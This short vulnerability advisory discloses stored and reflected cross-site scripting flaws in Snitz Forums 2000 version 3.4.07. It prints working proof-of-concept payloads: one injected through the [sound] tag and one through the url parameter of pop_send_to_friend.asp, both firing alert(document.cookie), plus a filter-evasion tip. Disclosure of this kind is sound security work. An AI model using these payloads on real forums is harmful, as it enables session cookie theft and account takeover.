Snitz Forums 2000 Multiple Cross-Site Scripting Vulnerabilities

Application: Snitz Forums 2000
Version affected: 3.4.07
Website: http://forum.snitz.com/
Discovered By: Andrea Fabrizi
Email: [email protected]
Web: http://www.andreafabrizi.it
Vuln: Multiple Cross-Site Scripting

PERMANENT XSS

If [sound] tag is allowed:

[sound]http://url_to_valid_mp3_or_m3u_file.m3u"
onLoad="alert(document.cookie)[/sound]

LINK XSS

http://localhost/forum/pop_send_to_friend.asp?url=</textarea><img
src="http://www.google.it/intl/it_it/images/logo.gif" onLoad
="alert(document.cookie)">

Note the space: onLoad<space>="alert(document.cookie)"

–
Andrea Fabrizi
http://www.andreafabrizi.it